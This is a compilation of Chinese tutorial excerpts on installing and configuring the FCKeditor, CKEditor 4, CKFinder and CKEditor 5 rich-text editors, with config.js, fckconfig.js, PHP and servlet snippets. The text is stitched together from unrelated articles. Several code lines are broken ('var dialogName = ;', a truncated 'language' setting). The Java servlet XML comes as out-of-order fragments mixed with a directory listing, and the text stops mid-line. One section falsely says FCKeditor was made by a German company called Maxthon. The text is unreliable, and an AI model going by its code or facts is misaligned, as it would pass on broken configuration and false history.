FCKeditor (jsp在线编辑器)配置总结
ckeditor配置大全
前言因为项目中在传输大数据时，需要各种格式的数据，所以在页面选择了使用ckeditor编辑器，我是从官网下载的最新的版本，经过5天的奋战，终于搞定，实现了ckeditor的基本配置和自定义的图片上传功能，善于总结，才能进步嘛，所以写下此篇，希望能帮到需要的人……软件准备Ckeditor：ckeditor_3.6.3 下载地址去官网吧呵呵我懒得写了百度下就可以找到jquery：jquery-1.2.7 官网下载吧版本无所谓的这个是我用的版本ajaxfileupload.js jquery文件上传插件官网下载吧ckeditor配置1.把ckeditor文件夹放到自己工程的js目录下，然后在自己需要ckeditor的页面引入：<script type="text/javascript" src="/common/js/ckeditor/ckeditor.js"></script>新建一个文本域放置编辑器：<html:textarea property="content"></html:textarea>通过js代码把ckeditor编辑器放置到上面的文本域中：var editor = CKEDITOR.replace('content');现在访问这个页面，可以看到下图：文本域已经被编辑器替换。
2.通过config.js来配置编辑器的外观、语言显示、按钮显示等等。
我的配置文件如下：CKEDITOR.editorConfig = function( config ){// Define changes to default configuration here. For example:nguage = 'zh-cn';// config.uiColor = '#AADC6E';// 设置宽高config.width = 860;config.height = 300;config.skin = 'v2'; //共有3中皮肤可选择：kama（默认）、office2003、v2// 工具栏（基础'Basic'、全能'Full'、自定义）plugins/toolbar/plugin.js config.toolbar = 'Basic';config.toolbar = 'Full';config.toolbar_Full = [['Source','-','NewPage','Preview','-','Templates'],['Cut','Copy','Paste','PasteText','PasteFromWord','-','Print','SpellChecker', 'Scayt'],['Undo','Redo','-','Find','Replace','-','SelectAll','RemoveFormat '],['Form', 'Checkbox', 'Radio', 'TextField', 'Textarea', 'Select', 'Button', 'ImageButton', 'HiddenField'],'/',['Bold','Italic','Underline','Strike','-','Subscript','Superscrip t'],['NumberedList','BulletedList','-','Outdent','Indent','Blockquote '],['JustifyLeft','JustifyCenter','JustifyRight','JustifyBlock'], ['Link','Unlink','Anchor'],['Image','Flash','Table','HorizontalRule','Smiley','SpecialChar', 'PageBreak'],'/',['Styles','Format','Font','FontSize'],['TextColor','BGColor']];//以上配置自己需要用到的按钮，按钮代码可以去网上找呵呵};CKEDITOR.on('dialogDefinition',function (ev) {var dialogName = ;var dialogDefinition = ev.data.definition;//alert(dialogName);if (dialogName == 'image') {dialogDefinition.removeContents('advanced');//消除advanced标签dialogDefinition.removeContents('Link');//消除Link标签}});后面这个函数是去掉点击“图像”按钮时超链接和高级选项卡，只保留图像选项卡。
FCKeditor属性配置大全
fck 属性配置大全优化FCKeditor文件夹和文件：下载FCKeditor并解压之后，会产生_samples和editor两个文件夹和几个文件，全部删除以_开头的文件夹和文件，因为这些都是FCKeditor的一些例子而已，可以学习一下，但上传到网站服务器上就大可不必了，删除。
在根目录下，还有几个fckeditor.asp,fckeditor.php,fckeditor.js......等其它文件，这个就看你的网站服务器和网站需要什么程序语言，有PHP，ASP，PERL，.NET等，我选择的是脚本配置文件fckeditor.js，还有三个文件fckconfig.js、fckstyles.xml、fcktemplates.xml是必需的文件，其它的可以全部删除。
打开editor文件夹，进入lang文件夹，这里面是FCKeditor的语言包来的，一般国内选择en.js 和zh.js和zh-cn.js文件就可以了，加上必需的文件fcklanguagemanager.js(此文件是2.4版本以下必需的)，其它的文件可以完全删除。
之后打开editor/filemanager文件夹，如果不要求在上传图片或者文件的时候显示服务器上的内容，可以选择删除filemanager文件夹下的brower文件夹。
然后进入upload文件夹，里面是各种程序语言的上传文件，选择你需要的那个程序语言文件夹，其它的删除。
进入editor/Plugins文件夹，如果你不需要这些额外的FCKeditor插件的话，把里面的文件夹全部删除。
进入editor/skins文件夹，里面是编辑器的皮肤文件，default文件是默认的灰色面板的编辑器，Office2003和silver是另外加载的，看哪个好看就选择哪个，然后其它的删除。
另外，editor/dialog文件夹里是一些编辑器的对话框，如果选择基本的一些功能的话，可以相应的选择其文件，把其它的删除也是可以的。
FCKEDIT 配置
FCKEDIT 配置（一）一:首先删除不必要的文件节省空间。
凡是以_开头的文件如_samples，_testcases和一些用不到的.asp、.jsp、.cfm文件统统干掉。
二:修改fckconfig.jsFCKConfig.AutoDetectLanguage = true ;//是否自动检测语言FCKConfig.DefaultLanguage = 'zh-cn' ;//设置语言FCKConfig.SkinPath = FCKConfig.BasePath + 'skins/default/' ;//设置皮肤FCKConfig.TabSpaces = 1 ;//tab是否有效FCKConfig.ToolbarStartExpanded = true ;//编辑工具条是否出现，等点“展开工具栏”时才出现FCKConfig.FontNames = '宋体;黑体;隶书;楷体_GB2312;Arial;Comic Sans MS;Courier New;Tahoma;Times New Roman;Verdana' ;//添加中文字体修改FCKeditor\editor\css\fck_editorarea.css设置默认字体及大小body, td{font-family: Arial, Verdana, Sans-Serif;font-size: 14px;}三:关于文件上传的设置修改fckconfig.jsvar _FileBrowserLanguage = 'php' ; // asp | aspx | cfm | lasso | perl | phpvar _QuickUploadLanguage = 'php' ; // asp | aspx | cfm | lasso | php修改fckeditor\editor\filemanager\browser\connectors\php\config.php$Config['Enabled'] = true ;$Config['UserFilesPath'] = '/UserFiles/' ;//设置上传的文件夹，可自己指定修改fckeditor\editor\filemanager\connectors\upload.php //这个没有找到$Config['Enabled'] = true ;$Config['UseFileType'] = true ;$Config['UserFilesPath'] = '/UserFiles/' ;//同上要一样四:引入在线编辑器时只需<?phpinclude("fckeditor/fckeditor.php") ;$oFCKeditor = new FCKeditor('FCKeditor1') ;//实例化$oFCKeditor->BasePath = 'fckeditor/';//这个路径一定要和上面那个引入路径一致，否则会报错:找不到fckeditor.html页面//$oFCKeditor->Value = '' ;$oFCKeditor->Width = '100%' ;$oFCKeditor->Height = '300' ;$oFCKeditor->ToolbarSet = 'Default' ; //可以自己精简toolbar$oFCKeditor->Create() ;//可以用$oFCKeditor->CreateHtml()?>JS用alert( FCKeditorAPI.GetInstance('FCKeditor1').GetXHTML( true ))得到FCKeditor1的值；PHP用$_POST['FCKeditor1']得到FCKeditor1的值。
FCKeditor(JAVA版)配置详解
<init-param>
<param-name>debug</param-name>
<param-value>false</param-value>调试时设为true
</init-param>
<init-param>
<param-name>DeniedExtensionsFile</param-name>
<param-value>php|php3|php5|phtml|asp|aspx|ascx|jsp|cfm|cfc|pl|bat|exe|dll|reg|cgi</param-value>
</init-param>
<load-on-startup>1</load-on-startup>
</servlet>
<servlet>
<servlet-name>SimpleUploader</servlet-name>
---images(editor使用到的图片)
---js
---lang (存放用于支持多语言的js文件)
---plugins(扩展插件)
---skins(editor皮肤，2.3.1版有default、office 2003和silvers三种)
</init-param>
<init-param>
<param-name>DeniedExtensionsFlash</param-name>
在JSP里使用CKEditor和CKFinder
在JSP里使用CKEditor和CKFinder目录1. 下载CKEditor相关的安装文件2. 安装CKEditor和CKFinder3. 在网页里使用CKEditor4. CKEditor的三种配置方式5. CKEditor的一些配置选项6. 关于CKEditor编辑器里面回车的问题7. 将CKFinder整合进CKEditor8. 配置CKFinder9. 在项目里配置CKFinder的servlet10. 更安全的使用CKFinder1. 下载CKEditor相关的安装文件∙CKEditor: 在/download页面左侧，可以下载到各种版本的CKEditor，包括完整版full、标准版standard、基础版basic等。
在页面右侧上方，还有可定制的下载，可以选择Toolbar类型、插件、语言等。
这里我们选择4.1版本的Full版本，下载后得到CKEditor_4.1_full.zip 。
∙CKEditor for java: 在/download页面右侧下部，可以下载到用于服务器端的工具，记得选择for java版本。
这里选择 3.6.4版本。
但是下载下来却是 ckeditor-java-core-3.5.3.jar。
不知道为什么。
∙CKFinder: 在/ckfinder/trial页面，可以下载到各种版本的CKFinder。
仍然选择java版。
这里我们下载的是 2.3.1版本，下载后得到CKFinder_java_2.3.1.zip。
2. 安装CKEditor和CKFinder∙解压CKEditor_4.1_full.zip，把解压得到的目录 ckeditor 完全复制到网站根目录下，也就是和WEB-INF同级。
可以给这个目录加上版本号，即ckeditor4.1。
∙把ckeditor4.1/samples 完全删掉，把ckeditor4.1/lang 里面除了en.js和zh-cn.js之外的文件删掉，把ckeditor4.1 下的README.md, CHANGES.md删掉。
FCKeditor使用方法详解
FCKeditor使用方法详解目录一、FCKeditor简介 (2)1.1 FCKeditor是什么 (2)1.2 FCKeditor的特点 (3)二、安装与配置FCKeditor (5)三、基本功能使用方法 (6)3.1 文本格式化 (7)3.2 段落和列表操作 (9)3.3 图片和表格插入 (10)3.4 表单字段 (11)3.5 样式和脚本 (12)四、高级功能使用方法 (13)4.1 可视编辑器 (14)4.2 自动排版 (16)4.3 批量导入/导出 (17)4.4 国际化支持 (18)4.5 客户端存储 (20)五、自定义插件与扩展 (21)5.1 如何安装插件 (22)5.2 插件的使用方法 (24)5.3 开发自定义插件 (25)六、常见问题与解决方案 (27)6.1 常见问题列表 (28)6.2 问题解决步骤 (29)七、实例演示 (30)7.1 创建一个简单的HTML页面 (31)7.2 在页面中添加FCKeditor (32)7.3 配置和使用FCKeditor的各种功能 (34)八、FCKeditor在主流开发框架中的应用 (35)8.1 PHP+MySQL环境下的应用 (36)8.2 环境下的应用 (37)8.3 Java/Spring环境下的应用 (39)九、总结与展望 (39)9.1 FCKeditor的优点 (40)9.2 FCKeditor的局限性与未来发展趋势 (41)一、FCKeditor简介FCKeditor是一款由德国Maxthon公司开发的强大的网页文本编辑器，它具有丰富的功能、高度的可定制性和易用性，被广泛应用于各种Web应用中，如论坛、博客、新闻发布等。
FCKeditor不仅提供了基本的文本编辑功能，还支持图像、表格、超链接等元素的插入和编辑，以及自定义插件和宏，可以满足用户的各种编辑需求。
FCKeditor采用了基于JavaScript的富文本编辑技术，具有高效的性能和较小的体积，可以轻松地集成到各种Web应用中。
ckeditor5的配置以及使用方法
ckeditor5的配置以及使⽤⽅法⼀．⾃定义并构建CKEditor 5⼆．CKEditor 5⽂件详解1. translations：打包后的语⾔包2. ckeditor.js、ckeditor.js.map：js配置，⾥⾯包含css样式，⽆论是编辑器页⾯还是显⽰内容页⾯都需要引⼊（之前显⽰内容时图⽚不⾃适应就是没有引⼊该⽂件）3. editor.js：进⾏功能配置的js⽂件，在编辑器页⾯引⼊4. index.html：富⽂本编辑器测试页⾯最外⾯div必须加上id名（可⾃定义）5. ceshi.html：显⽰内容页⾯最外⾯的div样式名必须为ck-content三．editor.js配置说明1. 调⽤⽅法toolbar:配置在导航栏显⽰的功能按钮以及位置2.图⽚上传3.⾃定义providers,给上传的视频链接设置相应的html，让其可以正常在富⽂本编辑器中显⽰4.⾃定义字体，字体中⽂名在前，英⽂编码在后，⽤逗号隔开5.将编辑器输出给到全局变量6.获取内容数据以及将html转换为编辑器内容的API，⽆论是获取编辑器内容还是将html⽚段插⼊到编辑器中都需要对某些字段进⾏转换（获取编辑器内容后将oembed标签转换为video标签；给编辑器插⼊内容之前将video标签转换为oembed标签，同时还要清理上次插⼊的数据）7.获取的内容数据中视频由浏览器⽆法识别的标签包裹，所以需要对其进⾏替换，使其在⽹页中正常显⽰。
8.初始化编辑器实例必须通过id获取标签，但是可以单独将配置对象赋值给config变量,初始化多个编辑器时将config传进去就可以实现修改⼀个配置影响多个编辑器实例。
9.字号⽀持数字⼤⼩10.设置编辑器的宽和最⼩⾼度、最⼤⾼度、固定⾼度11.配置字体颜⾊和字体背景颜⾊12.设置图⽚放置的位置以及百分⽐配置代码//配置选项const config = {//功能模块toolbar: {items: ['heading','|','bold','italic','underline','fontColor','fontBackgroundColor','fontSize','fontFamily','highlight','bulletedList','numberedList','|','indent','outdent','|','link','imageUpload','imageInsert','mediaEmbed','|','blockQuote','strikethrough','specialCharacters','superscript','subscript','insertTable','undo','redo','alignment'],shouldNotGroupWhenFull:true},//设置字体⼤⼩fontSize: {options: [12,14,16,18,20,22,24,36]},//设置字体颜⾊fontColor: {colors: [{color: 'hsl(0, 0%, 0%)',label: 'hsl(0, 0%, 0%)'},{color: 'hsl(0, 0%, 12.5%)', label: 'hsl(0, 0%, 12.5%)' },{color: 'hsl(0, 0%, 25%)', label: 'hsl(0, 0%, 25%)'},{color: 'hsl(0, 0%, 37.5%)', label: 'hsl(0, 0%, 37.5%)' },{color: 'hsl(0, 0%, 50%)', label: 'hsl(0, 0%, 50%)'},{color: 'hsl(0, 0%, 62.5%)', label: 'hsl(0, 0%, 62.5%)' },{color: 'hsl(0, 0%, 75%)', label: 'hsl(0, 0%, 75%)'},{color: 'hsl(0, 0%, 87.5%)', label: 'hsl(0, 0%, 87.5%)' },{color: 'hsl(0, 0%, 100%)', label: 'hsl(0, 0%, 100%)' },{color: 'hsl(0, 100%, 10%)', label: 'hsl(0, 100%, 10%)' },{color: 'hsl(0, 100%, 20%)', label: 'hsl(0, 100%, 20%)' },{color: 'hsl(0, 100%, 30%)', label: 'hsl(0, 100%, 30%)' },{color: 'hsl(0, 100%, 40%)', label: 'hsl(0, 100%, 40%)' },{color: 'hsl(0, 100%, 50%)', label: 'hsl(0, 100%, 50%)' },{color: 'hsl(0, 100%, 60%)', label: 'hsl(0, 100%, 60%)' },{color: 'hsl(0, 100%, 70%)', label: 'hsl(0, 100%, 70%)' },{color: 'hsl(0, 100%, 80%)', label: 'hsl(0, 100%, 80%)' },{color: 'hsl(0, 100%, 90%)', label: 'hsl(0, 100%, 90%)' },{color: 'hsl(30, 100%, 30%)', label: 'hsl(30, 100%, 30%)' },{color: 'hsl(30, 100%, 40%)', label: 'hsl(30, 100%, 40%)' },{color: 'hsl(30, 100%, 50%)', label: 'hsl(30, 100%, 50%)' },{color: 'hsl(30, 100%, 60%)', label: 'hsl(30, 100%, 60%)' },{color: 'hsl(30, 100%, 70%)', label: 'hsl(30, 100%, 70%)' },{color: 'hsl(30, 100%, 80%)', label: 'hsl(30, 100%, 80%)' },{color: 'hsl(30, 100%, 90%)', label: 'hsl(30, 100%, 90%)' },{color: 'hsl(60, 100%, 10%)', label: 'hsl(60, 100%, 10%)' },{color: 'hsl(60, 100%, 20%)', label: 'hsl(60, 100%, 20%)' },{color: 'hsl(60, 100%, 30%)', label: 'hsl(60, 100%, 30%)' },{color: 'hsl(60, 100%, 40%)', label: 'hsl(60, 100%, 40%)' },{color: 'hsl(60, 100%, 50%)', label: 'hsl(60, 100%, 50%)' },{color: 'hsl(60, 100%, 60%)', label: 'hsl(60, 100%, 60%)' },{color: 'hsl(60, 100%, 70%)', label: 'hsl(60, 100%, 70%)' },{color: 'hsl(60, 100%, 80%)', label: 'hsl(60, 100%, 80%)' },{color: 'hsl(60, 100%, 90%)', label: 'hsl(60, 100%, 90%)' },{color: 'hsl(90, 100%, 10%)', label: 'hsl(90, 100%, 10%)' },{color: 'hsl(90, 100%, 20%)', label: 'hsl(90, 100%, 20%)' },{color: 'hsl(90, 100%, 30%)', label: 'hsl(90, 100%, 30%)' },{color: 'hsl(90, 100%, 60%)', label: 'hsl(90, 100%, 60%)' },{color: 'hsl(90, 100%, 70%)', label: 'hsl(90, 100%, 70%)' },{color: 'hsl(90, 100%, 80%)', label: 'hsl(90, 100%, 80%)' },{color: 'hsl(90, 100%, 90%)', label: 'hsl(90, 100%, 90%)' },{color: 'hsl(120, 100%, 10%)', label: 'hsl(120, 100%, 10%)' },{color: 'hsl(120, 100%, 20%)', label: 'hsl(120, 100%, 20%)' },{color: 'hsl(120, 100%, 30%)', label: 'hsl(120, 100%, 30%)' },{color: 'hsl(120, 100%, 40%)', label: 'hsl(120, 100%, 40%)' },{color: 'hsl(120, 100%, 50%)', label: 'hsl(120, 100%, 50%)' },{color: 'hsl(120, 100%, 60%)', label: 'hsl(120, 100%, 60%)' },{color: 'hsl(120, 100%, 70%)', label: 'hsl(120, 100%, 70%)' },{color: 'hsl(120, 100%, 80%)', label: 'hsl(120, 100%, 80%)' },{color: 'hsl(120, 100%, 90%)', label: 'hsl(120, 100%, 90%)' },{color: 'hsl(150, 100%, 10%)', label: 'hsl(150, 100%, 10%)' },{color: 'hsl(150, 100%, 20%)', label: 'hsl(150, 100%, 20%)' },{color: 'hsl(150, 100%, 30%)', label: 'hsl(150, 100%, 30%)' },{color: 'hsl(150, 100%, 40%)', label: 'hsl(150, 100%, 40%)' },{color: 'hsl(150, 100%, 50%)', label: 'hsl(150, 100%, 50%)' },{color: 'hsl(150, 100%, 60%)', label: 'hsl(150, 100%, 60%)' },{color: 'hsl(150, 100%, 90%)', label: 'hsl(150, 100%, 90%)' },{color: 'hsl(180, 100%, 10%)', label: 'hsl(180, 100%, 10%)' },{color: 'hsl(180, 100%, 20%)', label: 'hsl(180, 100%, 20%)' },{color: 'hsl(180, 100%, 30%)', label: 'hsl(180, 100%, 30%)' },{color: 'hsl(180, 100%, 40%)', label: 'hsl(180, 100%, 40%)' },{color: 'hsl(180, 100%, 50%)', label: 'hsl(180, 100%, 50%)' },{color: 'hsl(180, 100%, 60%)', label: 'hsl(180, 100%, 60%)' },{color: 'hsl(180, 100%, 70%)', label: 'hsl(180, 100%, 70%)' },{color: 'hsl(180, 100%, 80%)', label: 'hsl(180, 100%, 80%)' },{color: 'hsl(180, 100%, 90%)', label: 'hsl(180, 100%, 90%)' },{color: 'hsl(210, 100%, 10%)', label: 'hsl(210, 100%, 10%)' },{color: 'hsl(210, 100%, 20%)', label: 'hsl(210, 100%, 20%)' },{color: 'hsl(210, 100%, 30%)', label: 'hsl(210, 100%, 30%)' },{color: 'hsl(210, 100%, 40%)', label: 'hsl(210, 100%, 40%)' },{color: 'hsl(210, 100%, 50%)', label: 'hsl(210, 100%, 50%)' },{color: 'hsl(210, 100%, 60%)', label: 'hsl(210, 100%, 60%)' },{color: 'hsl(210, 100%, 70%)', label: 'hsl(210, 100%, 70%)' },{color: 'hsl(210, 100%, 80%)', label: 'hsl(210, 100%, 80%)' },{color: 'hsl(210, 100%, 90%)', label: 'hsl(210, 100%, 90%)' },{color: 'hsl(240, 100%, 30%)', label: 'hsl(240, 100%, 30%)' },{color: 'hsl(240, 100%, 40%)', label: 'hsl(240, 100%, 40%)' },{color: 'hsl(240, 100%, 50%)', label: 'hsl(240, 100%, 50%)' },{color: 'hsl(240, 100%, 60%)', label: 'hsl(240, 100%, 60%)' },{color: 'hsl(240, 100%, 70%)', label: 'hsl(240, 100%, 70%)' },{color: 'hsl(240, 100%, 80%)', label: 'hsl(240, 100%, 80%)' },{color: 'hsl(240, 100%, 90%)', label: 'hsl(240, 100%, 90%)' },{color: 'hsl(270, 100%, 10%)', label: 'hsl(270, 100%, 10%)' },{color: 'hsl(270, 100%, 20%)', label: 'hsl(270, 100%, 20%)' },{color: 'hsl(270, 100%, 30%)', label: 'hsl(270, 100%, 30%)' },{color: 'hsl(270, 100%, 40%)', label: 'hsl(270, 100%, 40%)' },{color: 'hsl(270, 100%, 50%)', label: 'hsl(270, 100%, 50%)' },{color: 'hsl(270, 100%, 60%)', label: 'hsl(270, 100%, 60%)' },{color: 'hsl(270, 100%, 70%)', label: 'hsl(270, 100%, 70%)' },{color: 'hsl(270, 100%, 80%)', label: 'hsl(270, 100%, 80%)' },{color: 'hsl(270, 100%, 90%)', label: 'hsl(270, 100%, 90%)' },{color: 'hsl(300, 100%, 10%)', label: 'hsl(300, 100%, 10%)' },{color: 'hsl(300, 100%, 20%)', label: 'hsl(300, 100%, 20%)' },{color: 'hsl(300, 100%, 30%)', label: 'hsl(300, 100%, 30%)' },{color: 'hsl(300, 100%, 60%)', label: 'hsl(300, 100%, 60%)' },{color: 'hsl(300, 100%, 70%)', label: 'hsl(300, 100%, 70%)' },{color: 'hsl(300, 100%, 80%)', label: 'hsl(300, 100%, 80%)' },{color: 'hsl(300, 100%, 90%)', label: 'hsl(300, 100%, 90%)' },{color: 'hsl(330, 100%, 10%)', label: 'hsl(330, 100%, 10%)' },{color: 'hsl(330, 100%, 20%)', label: 'hsl(330, 100%, 20%)' },{color: 'hsl(330, 100%, 30%)', label: 'hsl(330, 100%, 30%)' },{color: 'hsl(330, 100%, 40%)', label: 'hsl(330, 100%, 40%)' },{color: 'hsl(330, 100%, 50%)', label: 'hsl(330, 100%, 50%)' },{color: 'hsl(330, 100%, 60%)', label: 'hsl(330, 100%, 60%)' },{color: 'hsl(330, 100%, 70%)', label: 'hsl(330, 100%, 70%)' },{color: 'hsl(330, 100%, 80%)', label: 'hsl(330, 100%, 80%)' },{color: 'hsl(330, 100%, 90%)', label: 'hsl(330, 100%, 90%)' },],//列columns: 9,},//设置字体背景颜⾊fontBackgroundColor: {colors: [{color: 'hsl(0, 0%, 0%)',label: 'hsl(0, 0%, 0%)'},{color: 'hsl(0, 0%, 12.5%)', label: 'hsl(0, 0%, 12.5%)'},{color: 'hsl(0, 0%, 25%)',label: 'hsl(0, 0%, 25%)'},{color: 'hsl(0, 0%, 37.5%)', label: 'hsl(0, 0%, 37.5%)'},{color: 'hsl(0, 0%, 75%)',label: 'hsl(0, 0%, 75%)'},{color: 'hsl(0, 0%, 87.5%)', label: 'hsl(0, 0%, 87.5%)' },{color: 'hsl(0, 0%, 100%)', label: 'hsl(0, 0%, 100%)'},{color: 'hsl(0, 100%, 10%)', label: 'hsl(0, 100%, 10%)' },{color: 'hsl(0, 100%, 20%)', label: 'hsl(0, 100%, 20%)' },{color: 'hsl(0, 100%, 30%)', label: 'hsl(0, 100%, 30%)' },{color: 'hsl(0, 100%, 40%)', label: 'hsl(0, 100%, 40%)' },{color: 'hsl(0, 100%, 50%)', label: 'hsl(0, 100%, 50%)' },{color: 'hsl(0, 100%, 60%)', label: 'hsl(0, 100%, 60%)' },{color: 'hsl(0, 100%, 70%)', label: 'hsl(0, 100%, 70%)' },{color: 'hsl(0, 100%, 80%)', label: 'hsl(0, 100%, 80%)' },{color: 'hsl(0, 100%, 90%)', label: 'hsl(0, 100%, 90%)' },{color: 'hsl(30, 100%, 10%)', label: 'hsl(30, 100%, 10%)' },{color: 'hsl(30, 100%, 20%)', label: 'hsl(30, 100%, 20%)' },{color: 'hsl(30, 100%, 30%)', label: 'hsl(30, 100%, 30%)' },{color: 'hsl(30, 100%, 40%)', label: 'hsl(30, 100%, 40%)' },{color: 'hsl(30, 100%, 50%)', label: 'hsl(30, 100%, 50%)' },{color: 'hsl(30, 100%, 60%)', label: 'hsl(30, 100%, 60%)' },{color: 'hsl(30, 100%, 70%)', label: 'hsl(30, 100%, 70%)' },{color: 'hsl(60, 100%, 10%)', label: 'hsl(60, 100%, 10%)' },{color: 'hsl(60, 100%, 20%)', label: 'hsl(60, 100%, 20%)' },{color: 'hsl(60, 100%, 30%)', label: 'hsl(60, 100%, 30%)' },{color: 'hsl(60, 100%, 40%)', label: 'hsl(60, 100%, 40%)' },{color: 'hsl(60, 100%, 50%)', label: 'hsl(60, 100%, 50%)' },{color: 'hsl(60, 100%, 60%)', label: 'hsl(60, 100%, 60%)' },{color: 'hsl(60, 100%, 70%)', label: 'hsl(60, 100%, 70%)' },{color: 'hsl(60, 100%, 80%)', label: 'hsl(60, 100%, 80%)' },{color: 'hsl(60, 100%, 90%)', label: 'hsl(60, 100%, 90%)' },{color: 'hsl(90, 100%, 10%)', label: 'hsl(90, 100%, 10%)' },{color: 'hsl(90, 100%, 20%)', label: 'hsl(90, 100%, 20%)' },{color: 'hsl(90, 100%, 30%)', label: 'hsl(90, 100%, 30%)' },{color: 'hsl(90, 100%, 40%)', label: 'hsl(90, 100%, 40%)' },{color: 'hsl(90, 100%, 50%)', label: 'hsl(90, 100%, 50%)' },{color: 'hsl(90, 100%, 60%)', label: 'hsl(90, 100%, 60%)' },{color: 'hsl(90, 100%, 70%)', label: 'hsl(90, 100%, 70%)' },{color: 'hsl(90, 100%, 80%)', label: 'hsl(90, 100%, 80%)' },{color: 'hsl(90, 100%, 90%)', label: 'hsl(90, 100%, 90%)' },{color: 'hsl(120, 100%, 10%)', label: 'hsl(120, 100%, 10%)' },{color: 'hsl(120, 100%, 40%)', label: 'hsl(120, 100%, 40%)' },{color: 'hsl(120, 100%, 50%)', label: 'hsl(120, 100%, 50%)' },{color: 'hsl(120, 100%, 60%)', label: 'hsl(120, 100%, 60%)' },{color: 'hsl(120, 100%, 70%)', label: 'hsl(120, 100%, 70%)' },{color: 'hsl(120, 100%, 80%)', label: 'hsl(120, 100%, 80%)' },{color: 'hsl(120, 100%, 90%)', label: 'hsl(120, 100%, 90%)' },{color: 'hsl(150, 100%, 10%)', label: 'hsl(150, 100%, 10%)' },{color: 'hsl(150, 100%, 20%)', label: 'hsl(150, 100%, 20%)' },{color: 'hsl(150, 100%, 30%)', label: 'hsl(150, 100%, 30%)' },{color: 'hsl(150, 100%, 40%)', label: 'hsl(150, 100%, 40%)' },{color: 'hsl(150, 100%, 50%)', label: 'hsl(150, 100%, 50%)' },{color: 'hsl(150, 100%, 60%)', label: 'hsl(150, 100%, 60%)' },{color: 'hsl(150, 100%, 70%)', label: 'hsl(150, 100%, 70%)' },{color: 'hsl(150, 100%, 80%)', label: 'hsl(150, 100%, 80%)' },{color: 'hsl(150, 100%, 90%)', label: 'hsl(150, 100%, 90%)' },{color: 'hsl(180, 100%, 10%)', label: 'hsl(180, 100%, 10%)' },{color: 'hsl(180, 100%, 20%)', label: 'hsl(180, 100%, 20%)' },{color: 'hsl(180, 100%, 30%)', label: 'hsl(180, 100%, 30%)' },{color: 'hsl(180, 100%, 40%)', label: 'hsl(180, 100%, 40%)' },{color: 'hsl(180, 100%, 70%)', label: 'hsl(180, 100%, 70%)' },{color: 'hsl(180, 100%, 80%)', label: 'hsl(180, 100%, 80%)' },{color: 'hsl(180, 100%, 90%)', label: 'hsl(180, 100%, 90%)' },{color: 'hsl(210, 100%, 10%)', label: 'hsl(210, 100%, 10%)' },{color: 'hsl(210, 100%, 20%)', label: 'hsl(210, 100%, 20%)' },{color: 'hsl(210, 100%, 30%)', label: 'hsl(210, 100%, 30%)' },{color: 'hsl(210, 100%, 40%)', label: 'hsl(210, 100%, 40%)' },{color: 'hsl(210, 100%, 50%)', label: 'hsl(210, 100%, 50%)' },{color: 'hsl(210, 100%, 60%)', label: 'hsl(210, 100%, 60%)' },{color: 'hsl(210, 100%, 70%)', label: 'hsl(210, 100%, 70%)' },{color: 'hsl(210, 100%, 80%)', label: 'hsl(210, 100%, 80%)' },{color: 'hsl(210, 100%, 90%)', label: 'hsl(210, 100%, 90%)' },{color: 'hsl(240, 100%, 10%)', label: 'hsl(240, 100%, 10%)' },{color: 'hsl(240, 100%, 20%)', label: 'hsl(240, 100%, 20%)' },{color: 'hsl(240, 100%, 30%)', label: 'hsl(240, 100%, 30%)' },{color: 'hsl(240, 100%, 40%)', label: 'hsl(240, 100%, 40%)' },{color: 'hsl(240, 100%, 50%)', label: 'hsl(240, 100%, 50%)' },{color: 'hsl(240, 100%, 60%)', label: 'hsl(240, 100%, 60%)' },{color: 'hsl(240, 100%, 70%)', label: 'hsl(240, 100%, 70%)' },{color: 'hsl(270, 100%, 10%)', label: 'hsl(270, 100%, 10%)' },{color: 'hsl(270, 100%, 20%)', label: 'hsl(270, 100%, 20%)' },{color: 'hsl(270, 100%, 30%)', label: 'hsl(270, 100%, 30%)' },{color: 'hsl(270, 100%, 40%)', label: 'hsl(270, 100%, 40%)' },{color: 'hsl(270, 100%, 50%)', label: 'hsl(270, 100%, 50%)' },{color: 'hsl(270, 100%, 60%)', label: 'hsl(270, 100%, 60%)' },{color: 'hsl(270, 100%, 70%)', label: 'hsl(270, 100%, 70%)' },{color: 'hsl(270, 100%, 80%)', label: 'hsl(270, 100%, 80%)' },{color: 'hsl(270, 100%, 90%)', label: 'hsl(270, 100%, 90%)' },{color: 'hsl(300, 100%, 10%)', label: 'hsl(300, 100%, 10%)' },{color: 'hsl(300, 100%, 20%)', label: 'hsl(300, 100%, 20%)' },{color: 'hsl(300, 100%, 30%)', label: 'hsl(300, 100%, 30%)' },{color: 'hsl(300, 100%, 40%)', label: 'hsl(300, 100%, 40%)' },{color: 'hsl(300, 100%, 50%)', label: 'hsl(300, 100%, 50%)' },{color: 'hsl(300, 100%, 60%)', label: 'hsl(300, 100%, 60%)' },{color: 'hsl(300, 100%, 70%)', label: 'hsl(300, 100%, 70%)' },{color: 'hsl(300, 100%, 80%)', label: 'hsl(300, 100%, 80%)' },{color: 'hsl(300, 100%, 90%)', label: 'hsl(300, 100%, 90%)' },{color: 'hsl(330, 100%, 10%)', label: 'hsl(330, 100%, 10%)' },{color: 'hsl(330, 100%, 40%)',label: 'hsl(330, 100%, 40%)'},{color: 'hsl(330, 100%, 50%)',label: 'hsl(330, 100%, 50%)'},{color: 'hsl(330, 100%, 60%)',label: 'hsl(330, 100%, 60%)'},{color: 'hsl(330, 100%, 70%)',label: 'hsl(330, 100%, 70%)'},{color: 'hsl(330, 100%, 80%)',label: 'hsl(330, 100%, 80%)'},{color: 'hsl(330, 100%, 90%)',label: 'hsl(330, 100%, 90%)'},],columns: 9,},language: 'zh-cn',//设置图⽚位置以及⼤⼩image: {styles: ['alignLeft', 'alignCenter', 'alignRight'],resizeOptions: [{name: 'imageResize:original',label: '原版',value: null},{name: 'imageResize:50',label: '50%',value: '50'},{name: 'imageResize:75',label: '75%',value: '75'}],toolbar: ['imageStyle:alignLeft', 'imageStyle:alignCenter', 'imageStyle:alignRight','|','imageResize','|','imageTextAlternative']},//表格配置table: {contentToolbar: ['tableColumn','tableRow','mergeTableCells']},//访问许可证密钥licenseKey: '',//图⽚上传ckfinder: {uploadUrl: 'http://192.168.31.123:2000/api/Home/UploadImg'},//⾃定义providers,给上传的视频链接设置相应的html，让其可以正常在富⽂本编辑器中显⽰ mediaEmbed: {providers: [{name: 'myprovider',],html: match => {//获取媒体urlconst input = match['input'];return ('<div style="position: relative; padding-bottom: 100%; height: 0; padding-bottom: 70%;">' +'<video controls="controls" autoplay name="media" style="position: absolute; width: 100%; height: 100%; top: 0; left: 0;">'+ `<source src="${input}" type="video/mp4">`+'</video>'+'</div>');}}]},//⾃定义字体fontFamily: {options: ['default','Blackoak 